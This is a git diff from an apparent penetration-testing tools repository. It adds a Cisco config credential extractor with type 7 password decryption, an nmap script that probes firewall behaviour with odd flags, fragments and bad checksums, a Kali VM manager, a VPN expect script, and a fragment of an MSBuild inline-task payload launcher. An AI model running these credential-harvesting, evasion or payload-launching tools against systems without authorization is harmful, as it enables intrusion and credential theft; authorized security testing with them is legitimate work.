# Mariusz B., mgeeky '18
# Mariusz B., mgeeky '18-20
#
import re
@ -45,6 +46,10 @@ regexes = {
'ISAKMP Pre-Shared Key' : r'crypto isakmp key \password(?: address \ip)?',
'SNMP-Server User Auth & Encr keys' : r'snmp-server user \name .* encrypted auth md5 ([0-9a-f\:]+) priv aes \d+ ([0-9a-f\:]+)',
'PPP PAP Sent Username & Password' : r'ppp pap sent-username \name password \password',
'AAA TACACS+/RADIUS Server Private' : r'server-private \ip key \password',
'AAA TACACS+ Server Private' : r'tacacs-server key \password',
'SNMP Server Community string' : r'snmp-server community \password',
'IPSec VPN ISAKMP Pre-Shared Key' : r'pre-shared-key address \ip key \password'
},
'Cisco ASA' : {
@ -88,6 +93,7 @@ regexes = {
'Other uncategorized XML password' : r'password>([^<]+)<',
'Other uncategorized authentication string' : r'.* authentication \password.*',
'Other hash-key related' : r'.* key \hash',
'Cisco 7 Password' : r'\cisco7',
},
}
@ -95,9 +101,12 @@ config = {
'verbose' : False,
'debug' : False,
'lines' : 0,
'output' : 'normal',
'format' : 'normal',
'csv_delimiter' : ';',
'no_others' : False,
'filename' : False,
'nonunique' : False,
'output' : ''
}
markers = {
@ -106,7 +115,8 @@ markers = {
'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})',
'hash' : r'([a-fA-F0-9]{20,})',
'bcrypt' : r'([\$\w\.\/]+)',
'password': r'(?:\d\s+)?([^\s]+)',
'password': r'(?:(?:\d\s+)?([^\s]+))',
'cisco7' : r'\b(?:7 ([0-9a-f]{4,}))|(?:([0-9a-f]{4,}) 7)\b',
'keystring': r'([a-f0-9]+)',
}
@ -115,7 +125,7 @@ foundCreds = set()
maxTechnologyWidth = 0
maxRegexpWidth = 0
results = set()
results = []
class Logger:
@staticmethod
@ -156,7 +166,53 @@ def processRegex(inputRegex):
inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex)
return inputRegex
def matchLines(lines, technology):
def cisco7Decrypt(data):
# source: https://github.com/theevilbit/ciscot7
xlat = [
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e,
0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44,
0x48, 0x53, 0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39,
0x38, 0x33, 0x34, 0x6e, 0x63, 0x78, 0x76, 0x39, 0x38, 0x37, 0x33,
0x32, 0x35, 0x34, 0x6b, 0x3b, 0x66, 0x67, 0x38, 0x37
]
dp = ''
regex = re.compile(r'(^[0-9A-Fa-f]{2})([0-9A-Fa-f]+)')
result = regex.search(data)
try:
if result:
s, e = int(result.group(1)), result.group(2)
for pos in range(0, len(e), 2):
magic = int(e[pos] + e[pos+1], 16)
newchar = ''
if s <= 50:
# xlat length is 51
newchar = '%c' % (magic ^ xlat[s])
s += 1
if s == 51: s = 0
dp += newchar
return dp
return ''
except:
return ''
def tryToCisco7Decrypt(creds):
if not len(creds):
return ''
decrypted = []
for m in re.finditer(markers['cisco7'], creds, re.I):
f = m.group(2) if m.group(2) != None else m.group(1)
out = cisco7Decrypt(f)
if out:
decrypted.append(out)
if len(decrypted):
return " (decrypted cisco 7: '" + "', '".join(decrypted) + "')"
return ''
def matchLines(file, lines, technology):
global foundCreds
global results
@ -166,7 +222,7 @@ def matchLines(lines, technology):
for idx in range(len(lines)):
line = lines[idx].strip()
if line in foundCreds:
if not config['nonunique'] and line in foundCreds:
continue
processedRex = processRegex(regexes[technology][rex])
@ -175,13 +231,16 @@ def matchLines(lines, technology):
num += 1
foundCreds.add(line)
creds = '", "'.join(matched.groups(1))
f = [x for x in matched.groups(1) if type(x) == str]
creds = '", "'.join(f)
creds += tryToCisco7Decrypt(line)
results.add((
technology, rex, creds
results.append((
file, technology, rex, creds
))
Logger._out('[+] {}: {}: {}'.format(
if config['lines'] != 0:
Logger._out('\n[+] {}: {}: {}'.format(
technology, rex, creds
))
@ -189,10 +248,7 @@ def matchLines(lines, technology):
for i in range(idx - config['lines'], idx):
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
if config['lines'] != 0:
Logger._out('[{:04}]==>\t{}'.format(idx, line))
else:
Logger._out('[{:04}]\t\t{}'.format(idx, line))
if idx + 1 + config['lines'] < len(lines):
for i in range(idx + 1, idx + config['lines'] + 1):
@ -205,21 +261,23 @@ def processFile(file):
lines = []
Logger.info('Processing file: "{}"'.format(file))
try:
with open(file, 'r') as f:
lines = [ line.strip() for line in f.readlines()]
except Exception as e:
Logger.err("Parsing file '{}' failed: {}.".format(file, str(e)))
return 0
num = 0
for technology in regexes:
if technology == 'Others':
continue
num0 = matchLines(lines, technology)
num0 = matchLines(file, lines, technology)
num += num0
if not config['no_others']:
num0 = matchLines(lines, 'Others')
if num0 == 0:
print('<none>')
num0 = matchLines(file, lines, 'Others')
num += num0
return num
@ -237,11 +295,14 @@ def processDir(dirname):
def parseOptions(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
parser.add_argument('file', metavar='<file>', type=str, help='Config file or directory to process.')
parser.add_argument('-o', '--output', help = 'Output file.')
parser.add_argument('-H', '--with-filename', action='store_true', help = 'Print file name next to the results')
parser.add_argument('-R', '--show-nonunique', action='store_true', help = 'Print repeated, non unique credentials found. By default only unique references are returned.')
parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.')
parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'")
parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', default=False, help='Display debug output.')
if len(argv) < 2:
parser.print_help()
@ -253,32 +314,40 @@ def parseOptions(argv):
config['debug'] = args.debug
config['lines'] = args.lines
config['no_others'] = args.no_others
config['filename'] = args.with_filename
config['nonunique'] = args.show_nonunique
config['output'] = args.output
if args.format == 'raw':
config['output'] = 'raw'
config['format'] = 'raw'
elif args.format == 'tabular':
config['output'] = 'tabular'
config['format'] = 'tabular'
elif args.format == 'csv':
config['output'] = 'csv'
config['format'] = 'csv'
else:
config['output'] == 'normal'
config['format'] == 'normal'
return args
def printResults():
global maxTechnologyWidth
global maxRegexpWidth
global results
# CSV Columns
cols = ['technology', 'name', 'hashes']
cols = ['file', 'technology', 'name', 'hashes']
def _print(technology, rex, creds):
if config['output'] == 'tabular':
print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format(
if not config['nonunique']:
results = set(results)
def _print(file, technology, rex, creds):
out = ''
if config['format'] == 'tabular':
out += '[+] {0: <{width1}} {1:^{width2}}: "{2:}"\n'.format(
technology, rex, creds,
width1 = maxTechnologyWidth, width2 = maxRegexpWidth
))
elif config['output'] == 'raw':
)
elif config['format'] == 'raw':
credstab = creds.split('", "')
longest = ''
@ -286,24 +355,26 @@ def printResults():
if len(passwd) > len(longest):
longest = passwd
print('{}'.format(
out += '{}\n'.format(
passwd
))
elif config['output'] == 'csv':
)
elif config['format'] == 'csv':
creds = '"{}"'.format(creds)
rex = rex.replace(config['csv_delimiter'], ' ')
#creds = creds.replace(config['csv_delimiter'], ' ')
print(config['csv_delimiter'].join([technology, rex, creds]))
out += config['csv_delimiter'].join([file, technology, rex, creds])
out += '\n'
else:
print('[+] {}: {}: "{}"'.format(
out += '[+] {}: {}: "{}"\n'.format(
technology, rex, creds
))
)
return out
maxTechnologyWidth = 0
maxRegexpWidth = 0
for result in results:
technology, rex, creds = result
file, technology, rex, creds = result
if len(technology) > maxTechnologyWidth:
maxTechnologyWidth = len(technology)
@ -313,23 +384,45 @@ def printResults():
maxTechnologyWidth = maxTechnologyWidth + 3
maxRegexpWidth = maxRegexpWidth + 3
if config['output'] == 'normal' or config['output'] == 'tabular':
print('\n=== CREDENTIALS FOUND:')
elif config['output'] == 'csv':
print(config['csv_delimiter'].join(cols))
outputToPrint = ''
if config['format'] == 'normal' or config['format'] == 'tabular':
outputToPrint += '\n=== CREDENTIALS FOUND:\n'
elif config['format'] == 'csv':
outputToPrint += config['csv_delimiter'].join(cols)
outputToPrint += '\n'
resultsPerFile = {}
otherResultsPerFile = {}
for result in results:
technology, rex, creds = result
if technology == 'Others': continue
_print(technology, rex, creds)
file, technology, rex, creds = result
if technology == 'Others':
if file not in otherResultsPerFile.keys():
otherResultsPerFile[file] = []
otherResultsPerFile[file].append((technology, rex, creds))
else:
if file not in resultsPerFile.keys():
resultsPerFile[file] = []
resultsPerFile[file].append((technology, rex, creds))
if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'):
print('\n=== BELOW LINES MAY BE FALSE POSITIVES:')
for result in results:
for file, _results in resultsPerFile.items():
if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']:
outputToPrint += '\nResults from file: "{}"\n'.format(file)
for result in _results:
technology, rex, creds = result
if technology != 'Others': continue
_print(technology, rex, creds)
outputToPrint += _print(file, technology, rex, creds)
if not config['no_others'] and (config['format'] == 'normal' or config['format'] == 'tabular'):
outputToPrint += '\n\n=== BELOW LINES MAY BE FALSE POSITIVES:\n'
for file, _results in otherResultsPerFile.items():
if config['filename'] and config['format'] in ['raw', 'normal', 'tabular']:
outputToPrint += '\nResults from file: "{}"\n'.format(file)
for result in _results:
technology, rex, creds = result
outputToPrint += _print(file, technology, rex, creds)
return outputToPrint
def main(argv):
Logger._out('''
@ -356,9 +449,16 @@ def main(argv):
Logger.err('Please provide either file or directory on input.')
return False
printResults()
out = printResults()
if config['output'] == 'normal' or config['output'] == 'tabular':
if config['output']:
Logger.info("Dumping credentials to the output file: '{}'".format(config['output']))
with open(config['output'], 'w') as f:
f.write(out)
else:
print(out)
if config['format'] == 'normal' or config['format'] == 'tabular':
print('\n[>] Found: {} credentials.'.format(num))
if __name__ == '__main__':

201
networks/nmap-christmas-tree.sh Executable file
View File

@ -0,0 +1,201 @@
#!/bin/bash
if [ $# -ne 3 ]; then
echo "Usage: ./nmap-christmas-tree.sh <host> <opened-port> <closed-port>"
echo -e "\nopened-port\t- A TCP port number that is known to be opened/listening, e.g. 443"
echo -e "closed-port\t- A TCP port number that is known to be closed, e.g. 44444"
echo
exit 1
fi
HOST=$1
PORT1=$2
PORT2=$3
OPTS="-Pn -T4"
function scan {
opts=$@
echo "Trying $opts..."
out=$(sudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST | grep -E "$PORT1|$PORT2")
num=$(echo "$out" | awk '{print $2}' | uniq | wc -l)
if [[ $num == 2 ]]; then
echo
echo "== DISCREPANCY occured on: $opts"
echo -e "NMAP:\tsudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST"
echo "$out"
echo
fi
}
scan -sS
scan -sT
scan -sA
scan -sW
scan -sM
scan -sN
scan -sF
scan -sX
scan --scanflags SYN
scan --scanflags SYNACK
scan --scanflags SYNFIN
scan --scanflags SYNPSH
scan --scanflags SYNRST
scan --scanflags SYNURG
scan --scanflags URG
scan --scanflags URGACK
scan --scanflags URGFIN
scan --scanflags URGPSH
scan --scanflags URGRST
scan --scanflags PSH
scan --scanflags PSHACK
scan --scanflags PSHFIN
scan --scanflags PSHRST
scan --scanflags ACK
scan --scanflags ACKFIN
scan --scanflags ACKRST
scan --scanflags RST
scan --scanflags RSTFIN
scan --scanflags FIN
scan -sS -f
scan -sT -f
scan -sA -f
scan -sW -f
scan -sM -f
scan -sN -f
scan -sF -f
scan -sX -f
scan --scanflags SYN -f
scan --scanflags SYNACK -f
scan --scanflags SYNFIN -f
scan --scanflags SYNPSH -f
scan --scanflags SYNRST -f
scan --scanflags SYNURG -f
scan --scanflags URG -f
scan --scanflags URGACK -f
scan --scanflags URGFIN -f
scan --scanflags URGPSH -f
scan --scanflags URGRST -f
scan --scanflags PSH -f
scan --scanflags PSHACK -f
scan --scanflags PSHFIN -f
scan --scanflags PSHRST -f
scan --scanflags ACK -f
scan --scanflags ACKFIN -f
scan --scanflags ACKRST -f
scan --scanflags RST -f
scan --scanflags RSTFIN -f
scan --scanflags FIN -f
scan -sS -f --badsum
scan -sA -f --badsum
scan -sW -f --badsum
scan -sM -f --badsum
scan -sN -f --badsum
scan -sF -f --badsum
scan -sX -f --badsum
scan --scanflags SYN -f --badsum
scan --scanflags SYNACK -f --badsum
scan --scanflags SYNFIN -f --badsum
scan --scanflags SYNPSH -f --badsum
scan --scanflags SYNRST -f --badsum
scan --scanflags SYNURG -f --badsum
scan --scanflags URG -f --badsum
scan --scanflags URGACK -f --badsum
scan --scanflags URGFIN -f --badsum
scan --scanflags URGPSH -f --badsum
scan --scanflags URGRST -f --badsum
scan --scanflags PSH -f --badsum
scan --scanflags PSHACK -f --badsum
scan --scanflags PSHFIN -f --badsum
scan --scanflags PSHRST -f --badsum
scan --scanflags ACK -f --badsum
scan --scanflags ACKFIN -f --badsum
scan --scanflags ACKRST -f --badsum
scan --scanflags RST -f --badsum
scan --scanflags RSTFIN -f --badsum
scan --scanflags FIN -f --badsum
scan -sS --badsum
scan -sA --badsum
scan -sW --badsum
scan -sM --badsum
scan -sN --badsum
scan -sF --badsum
scan -sX --badsum
scan --scanflags SYN --badsum
scan --scanflags SYNACK --badsum
scan --scanflags SYNFIN --badsum
scan --scanflags SYNPSH --badsum
scan --scanflags SYNRST --badsum
scan --scanflags SYNURG --badsum
scan --scanflags URG --badsum
scan --scanflags URGACK --badsum
scan --scanflags URGFIN --badsum
scan --scanflags URGPSH --badsum
scan --scanflags URGRST --badsum
scan --scanflags PSH --badsum
scan --scanflags PSHACK --badsum
scan --scanflags PSHFIN --badsum
scan --scanflags PSHRST --badsum
scan --scanflags ACK --badsum
scan --scanflags ACKFIN --badsum
scan --scanflags ACKRST --badsum
scan --scanflags RST --badsum
scan --scanflags RSTFIN --badsum
scan --scanflags FIN --badsum
scan -sS --mtu 16
scan -sA --mtu 16
scan -sW --mtu 16
scan -sM --mtu 16
scan -sN --mtu 16
scan -sF --mtu 16
scan -sX --mtu 16
scan --scanflags SYN --mtu 16
scan --scanflags SYNACK --mtu 16
scan --scanflags SYNFIN --mtu 16
scan --scanflags SYNPSH --mtu 16
scan --scanflags SYNRST --mtu 16
scan --scanflags SYNURG --mtu 16
scan --scanflags URG --mtu 16
scan --scanflags URGACK --mtu 16
scan --scanflags URGFIN --mtu 16
scan --scanflags URGPSH --mtu 16
scan --scanflags URGRST --mtu 16
scan --scanflags PSH --mtu 16
scan --scanflags PSHACK --mtu 16
scan --scanflags PSHFIN --mtu 16
scan --scanflags PSHRST --mtu 16
scan --scanflags ACK --mtu 16
scan --scanflags ACKFIN --mtu 16
scan --scanflags ACKRST --mtu 16
scan --scanflags RST --mtu 16
scan --scanflags RSTFIN --mtu 16
scan --scanflags FIN --mtu 16
scan -sS --mtu 65528
scan -sT --mtu 65528
scan -sA --mtu 65528
scan -sW --mtu 65528
scan -sM --mtu 65528
scan -sN --mtu 65528
scan -sF --mtu 65528
scan -sX --mtu 65528
scan --scanflags SYN --mtu 65528
scan --scanflags SYNACK --mtu 65528
scan --scanflags SYNFIN --mtu 65528
scan --scanflags SYNPSH --mtu 65528
scan --scanflags SYNRST --mtu 65528
scan --scanflags SYNURG --mtu 65528
scan --scanflags URG --mtu 65528
scan --scanflags URGACK --mtu 65528
scan --scanflags URGFIN --mtu 65528
scan --scanflags URGPSH --mtu 65528
scan --scanflags URGRST --mtu 65528
scan --scanflags PSH --mtu 65528
scan --scanflags PSHACK --mtu 65528
scan --scanflags PSHFIN --mtu 65528
scan --scanflags PSHRST --mtu 65528
scan --scanflags ACK --mtu 65528
scan --scanflags ACKFIN --mtu 65528
scan --scanflags ACKRST --mtu 65528
scan --scanflags RST --mtu 65528
scan --scanflags RSTFIN --mtu 65528
scan --scanflags FIN --mtu 65528

View File

@ -7,6 +7,37 @@
- **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da))
- **`forticlientsslvpn-expect.sh`** - Forticlient SSL VPN Client launching script utilizing expect. Useful while working for clients exposing their local networks through a Fortinet SSL VPN. [gist](https://gist.githubusercontent.com/mgeeky/8afc0e32b8b97fd6f96fce6098615a93/raw/cf127be09d02e04c00eb578e4ef1219a773d21cf/forticlientsslvpn-expect.sh)
- **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079)
- **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a)
```
user@my-box $ startkali
[>] Launching kali in headless
[>] Awaiting for machine to get up...
Waiting for VM "kali" to power on...
VM "kali" has been successfully started.
1. Attempting to connect with kali...
[.] Testing: 192.168.56.1
[.] Testing: 192.168.56.101
[+] Found VM by ssh probing: 192.168.56.101
[+] Running VM init commands...
[?] Timed out while trying to run VM_INIT_COMMANDS.
Continuing anyway...
[.] Testing: 192.168.56.1
[.] Testing: 192.168.56.102
[+] Found VM by ssh probing: 192.168.56.102
[+] Running VM init commands...
[+] Updated /etc/hosts file with '192.168.56.102 kali' entry.
[+] Succeeded. kali found in network.
user@my-box $ sshkali
Linux Kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64
Last login: Fri Dec 6 07:40:19 2019 from 192.168.56.1
root@Kali:~ # hostname
Kali
```
- **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98))

View File

@ -0,0 +1,63 @@
#!/bin/bash
# Forticlient SSL VPN Client launching script utilizing expect.
# --------------------------------------------
# CONFIGURATION
# If empty - script will take some simple logic to locate appropriate binary.
FORTICLIENT_PATH=""
# VPN Credentials
VPN_HOST="host:10443"
VPN_USER="username"
VPN_PASS="password"
# --------------------------------------------
trap ctrl_c INT
function ctrl_c() {
echo "Removing left-over files..."
rm -f /tmp/expect
}
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
if [ -z "$FORTICLIENT_PATH" ]; then
FORTICLIENT_PATH=`uname -r | grep -q 64 && echo $(locate forticlientsslvpn_cli | grep 64bit) || echo $(locate forticlientsslvpn_cli | grep 32bit)`
if [ ! -f $FORTICLIENT_PATH ]; then
echo "Tried to locate Forticlient SSL VPN Cli binary, but failed."
echo "Specify it at variable FORTCLIENT_PATH"
exit 1
fi
echo "Located Forticlient VPN Client at: $FORTICLIENT_PATH"
fi
echo "Killing previous instances of Forticlient SSL VPN client..."
killall -9 $(basename $FORTICLIENT_PATH) 2> /dev/null
cat << EOF > /tmp/expect
#!/usr/bin/expect -f
match_max 1000000
set timeout -1
spawn $FORTICLIENT_PATH --server $VPN_HOST --vpnuser $VPN_USER --keepalive
expect "Password for VPN:"
send -- "$VPN_PASS"
send -- "\r"
expect "Would you like to connect to this server? (Y/N)"
send -- "Y"
send -- "\r"
expect "Clean up..."
close
EOF
chmod 500 /tmp/expect
/usr/bin/expect -f /tmp/expect
rm -f /tmp/expect

281
others/vm-manager.sh Executable file
View File

@ -0,0 +1,281 @@
#!/bin/bash
#
# Simple vm-specific management bash functions and aliases.
# Coming with basic functionality of starting, stopping and status checking
# routines. Easy to change to manage other type of VMs.
#
# Providing commands for:
# - starting/stopping selected VM
# - checking whether selected VM is running
# - easily ssh'ing to the selected VM
# - scanning for other VMs
# - setting selected VM's IP address within /etc/hosts (and alike) file
#
# Mariusz B. / mgeeky, '16-'19
# v0.7
#
# VM_NAME as defined in VirtualBox. Name must not contain any special characters, not
# even space.
VM_NAME=kali
# User's name to be used during ssh.
VM_USER=root
# Host-only's interface network address and interface
HOST_ONLY_NET=192.168.56.1
HOST_ONLY_IFACE=vboxnet0
# Hosts file where to put the VM's host IP address
HOSTS_FILE=/etc/hosts
# Command to be run to detect proper VM and pattern to be matched then.
VM_DETECT_COMMAND="uname -a"
VM_DETECT_PATTERN="Linux Kali"
# Initial commands one would like to get executed upon VM start.
VM_INIT_COMMANDS="dhclient -r eth1 ; dhclient -v eth1"
#
# Will set the following aliases:
# - ssh<vm> alias for quick ssh-connection
# - get<vm> alias for quick vm's ip resolution
# - start<vm> alias for starting up particular vm
# - stop<vm> alias for stopping particular vm
# - is<vm> alias for checking whether the vm is running.
#
# For instance, when VM_NAME=Kali - the following aliases will be defined:
# sshkali, getkali, and so on
#
function setup_aliases() {
name=$VM_NAME
if [ -z $name ]; then
echo "[!] You must set the VM_NAME variable within that script first!"
exit 1
fi
alias ssh$name="ssh -o StrictHostKeyChecking=no -Y $VM_USER@$name"
alias get$name="cat $HOSTS_FILE | grep -i $name | cut -d' ' -f1"
alias start$name="startvm"
alias stop$name="stopvm"
alias is$name="VBoxManage list runningvms | grep -qi $name && echo '[+] Running' || echo '[-] Not running';"
}
#
# Function for starting particular VM and then detecting it within
# user-specified host-only network, in order to setup correct entry in hosts file.
# Afterwards some additional actions like sshfs mounting could be deployed.
#
function startvm() {
if [ -n "$1" ] && [[ "$1" == "-h" ]]; then
echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui"
return
fi
name=$VM_NAME
#hostname=${name,,}
hostname=$name
mode=$1
if [[ "$mode" == "" ]]; then
mode='headless'
elif [[ "$mode" == "gui" ]]; then
mode='gui'
else
echo "[?] Usage: startvm [mode] - where [mode] is: headless (default) or gui"
return
fi
echo "[>] Launching $name in $mode"
if [[ $(VBoxManage list runningvms | grep -i $name) ]]; then
echo "[+] Already running..."
else
echo "[>] Awaiting for machine to get up..."
VBoxManage startvm $name --type $mode
if [ $? -ne 0 ]; then
echo "[!] Could not get $name started. Bailing out."
exit 1
fi
found=0
sleep 16
for i in `seq 1 25`;
do
if [ $found -ne 0 ]; then
break
fi
echo -e "\t$i. Attempting to connect with $name..."
sleep 3
if scan_for_vm; then
found=1
break
fi
done
if [ $found -ne 1 ]; then
echo "[!] Critical - could not locate $name VM machine on network."
echo -e "\tYou can always try 'scan_for_vm' command to do a sweep again and retry process."
return
fi
echo "[+] Succeeded. $name found in network."
fi
}
#
# Function for stopping particular VM.
#
function stopvm() {
name=$VM_NAME
hostname=$name
if VBoxManage list runningvms | grep -qi $name
then
sleep 2
sudo sed -i "/$hostname/d" $HOSTS_FILE
echo "[+] Stopping $VM_NAME..."
VBoxManage controlvm $name savestate
else
echo "[-] Not running."
return
fi
sleep 3
if VBoxManage list runningvms | grep -qi $name
then
echo "[?] Seems that $name do not want to be pasued..."
sleep 2
VBoxManage controlvm $name acpipowerbutton
if VBoxManage list runningvms | grep -qi $name
then
echo "[-] Could not pause $name politely. Cut his head!"
sleep 3
VBoxManage controlvm $name poweroff
else
echo "[+] Ok, it had shut itself down."
fi
fi
}
#
# One can use that very function to enumerate available machines
# visible from VMs network interface (under ARP scanning).
#
function find_vms_netdiscover {
sudo netdiscover -i $HOST_ONLY_IFACE -r $HOST_ONLY_NET/24 -N -P | grep ${HOST_ONLY_NET:0:5} | cut -d' ' -f2 | tail -n +2
}
function find_vms_nmap {
nmap -sn $HOST_ONLY_NET/24 -oG - | grep Up | awk '{print $2}'
}
function find_vms {
sudo ifconfig $HOST_ONLY_IFACE up
out=""
if [ -x "$(command -v nmap)" ]; then
out=$(find_vms_nmap)
if test "$out" != ""; then
echo "$out"
return
fi
fi
if [ -x "$(command -v netdiscover)" ]; then
out=$(find_vms_netdiscover)
if test "$out" != ""; then
echo "$out"
return
fi
fi
echo ""
}
function detect_vm {
out=$(timeout 30s ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$1 "$VM_DETECT_COMMAND" 2>/dev/null )
if [ $? -eq 124 ] || [ $? -eq 255 ]; then
echo "[!] Machine $1 timed out while trying to detect it by ssh probing."
return 1
fi
if echo "$out" | grep -qi "$VM_DETECT_PATTERN" ; then
return 0
else
return 1
fi
}
#
# If for some reason `start` command didn't manage to find the VM
# that was starting at that moment, one can repeat the scan & set process
# manually using the below command.
#
function scan_for_vm {
# Scanning hosts in host-only network made by VirtualBox and then every
# found host will be ssh'd to get it's uname and determine whether it is our vm.
# Thanks to this loop we will not be failing to connect to our VM in case it's
# IP would get assigned differently from VBox dhcp.
hosts=$(find_vms)
declare -a hostsarray
while read -r host
do
hostsarray+=($host)
done <<< "$hosts"
sorted_hostsarray=($(echo "${hostsarray[@]}" | tr ' ' '\n' | sort -u))
for host in $sorted_hostsarray[@]; do
echo "[.] Testing: $host"
detect_vm $host
if [ $? -eq 0 ]
then
# VM found by match in uname's output.
echo "[+] Found VM by ssh probing: $host"
if [ -n "$VM_INIT_COMMANDS" ]; then
echo "[+] Running VM init commands..."
timeout 1m ssh -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 $VM_USER@$host "$VM_INIT_COMMANDS" 2>/dev/null
if [ $? -eq 124 ]; then
echo "[?] Timed out while trying to run VM_INIT_COMMANDS."
#return 1
echo "Continuing anyway..."
fi
detect_vm $host
if [ $? -ne 0 ]; then
if [ $# -eq 1 ] && [ "$1" == "again" ] ; then
echo "[!] After initial commands the connection with VM is lost. Repeat the 'scan_for_vm' process"
return 1
else
scan_for_vm "again"
fi
fi
fi
# Since the shell does output redirection not sudo, we have to write
# to the hosts file like so:
#
cat $HOSTS_FILE | grep -qi $VM_NAME
if [ $? -eq 0 ] && [ "$1" != "again" ]; then
sudo sed -i -E "s/^[0-9]{1,3}.[0-9]{1,3}+.[0-9]{1,3}+.[0-9]{1,3}+\s+$VM_NAME/$host $VM_NAME/" $HOSTS_FILE
echo "[+] Updated /etc/hosts file with '$host $VM_NAME' entry."
else
echo "$host $hostname" | sudo tee --append $HOSTS_FILE > /dev/null
fi
return 0
else
#echo "[.] Not our target VM: '$host'"
continue
fi
done
echo "[!] Could not locate $VM_NAME machine within the network."
return 1
}
setup_aliases

View File

@ -76,7 +76,7 @@ def getInlineTask(payload, exeFile):
]]>
</Code>''').safe_substitute(
templateName = templateName,
payload2 = base64.b64encode(payload)
payload2 = base64.b64encode(payload.encode()).decode()
)
exeLaunchCode = string.Template('''<ParameterGroup/>
@ -95,7 +95,7 @@ def getInlineTask(payload, exeFile):
method.Invoke(instance, null);
]]>
</Code>''').safe_substitute(
payload2 = base64.b64encode(payload)
payload2 = base64.b64encode(payload.encode()).decode()
)
launchCode = exeLaunchCode if exeFile else powershellLaunchCode